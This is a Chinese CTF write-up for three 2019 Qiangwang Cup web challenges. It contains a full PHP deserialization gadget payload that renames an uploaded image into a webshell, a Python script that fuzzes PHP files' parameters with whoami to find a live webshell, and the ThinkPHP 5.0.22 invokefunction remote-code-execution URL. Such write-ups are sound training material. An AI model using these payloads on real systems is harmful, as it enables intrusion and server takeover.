2019第三届强网杯部分WEB WP
UPLOAD
- 注意此题需要在PHP7环境中才能复现,在PHP5中由于异常处理机制,不会调用析构函数。
- 打开网页,发现是一个注册登陆页面,注册之后可以上传图片。
- 扫描根目录,发现有源码
www.gz.tar
,下载后可以看到在tp5目录中有.idea
文件夹,说明是使用phpstorm写的。导入phpstorm发现了两个断点:1234567//Register.phppublic function __destruct(){if(!$this->registed){$this->checker->index(); // 断点1}}
|
|
提示反序列化存在漏洞。
- 结合本题为上传题,猜测是要结合反序列化和上传两个点攻击。观察析构函数,如果
registed
为False则调用checker的index函数。 - 查找是否有可以利用的类,发现
Profile.php
中的Profile
类中无index
函数,而且有__call
函数:123456public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
如果调用Profile类的index函数,就会调用__call('index')
,此时,如果构造的Profile类的index指向任意一个函数,就会调用该函数。而本题是上传题,首先想到upload_img
函数:
可以看到在if($this->ext)
之后的逻辑中,可以通过修改$this->filename_tmp
和$this->filename
达到图片重命名的目的,将上传的图片马还原为webshell。
- 所以先上传一个图片马。
- 然后构造payload: 123456789101112131415161718192021222324252627namespace app\web\controller;class Register{public $checker;}class Profile{public $filename_tmp;public $filename;public $ext;public $except;public $index;}$reg=new Register();$prof=new Profile();$prof->filename_tmp='upload/837ec5754f503cfaaee0929fd48974e7/00bf23e130fa1e525e332ff03dae345d.png';//原文件名(图片马$prof->filename='upload/1.php';//目标文件名$prof->ext=true;//过检查$prof->index='upload_img';$reg->registed = false;//register析构函数中的条件$reg->checker=$prof;echo base64_encode(serialize($reg));
将输出代替cookie中的user值,访问。 7. 可以看到成功重命名webshell了。 8. 拿蚁剑连接可以在根目录处找到flag。
高明的黑客
- 我在做这道题的时候想的是用hook,但是发现这道题用hook似乎没办法做,因为文件太多了,而只有一个文件可以用,不可能手工挨个试。
- 在本地复现的时候,想法很简单,先按文件匹配出POST和GET的参数,然后对每个参数都传入
system(whoami)
和whoami
,分别对应eval型和直接调用system型webshell。
做题过程:
- 下载源码
编写脚本:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960import osimport requestsimport redef return_files(rootDir):list_dirs = os.walk(rootDir)funfiles=[]for root, dirs, files in list_dirs:for f in files:funfiles.append(os.path.join(root, f))return funfilesIF_DEBUG=Falseexp_list=['whoami','system("whoami")']url_pre='http://localhost:802/qwb/web2/'pat1=r"\$_GET\['(\w+)'\]"pat2=r"\$_POST\['(\w+)'\]"files=return_files('src')i=0for vfile in files:print(i,vfile)i+=1get_params=[]post_params=[]with open(vfile) as fr:try:lines=fr.readlines()except UnicodeDecodeError:print(vfile)continuefor line in lines:get_params+=re.findall(pat1,line)post_params+=re.findall(pat2,line)for exp in exp_list:post_dic={}for post_param in post_params:post_dic[post_param]=expshell_name=vfile[4:]if(len(get_params+post_params)!=0):t1=requests.get(url_pre+shell_name).texttemp_url=url_pre+shell_name+'?'for get_param in get_params:temp_url+=get_param+'='+exp+'&'temp_url=temp_url[:-1]if(IF_DEBUG):print(t1)print(temp_url)print(post_dic)exit()t2=requests.post(temp_url,data=post_dic).textif(len(t1)!=len(t2)):print(temp_url)print(post_dic)对本地一通扫之后,输出:
1http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami由于不想挨个找参数,我直接替换掉每个参数:
12url='http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami'print(url.replace('whoami','cat /flag'))访问得到flag
强网先锋 上单
- 进入界面,发现thinkphp版本为5.0.22,立刻想到前段时间写过博客的RCE,直接上payload: 1index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
拿到flag
前两道题的源码
https://github.com/HACHp1/hackable_cms_store/tree/master/qwb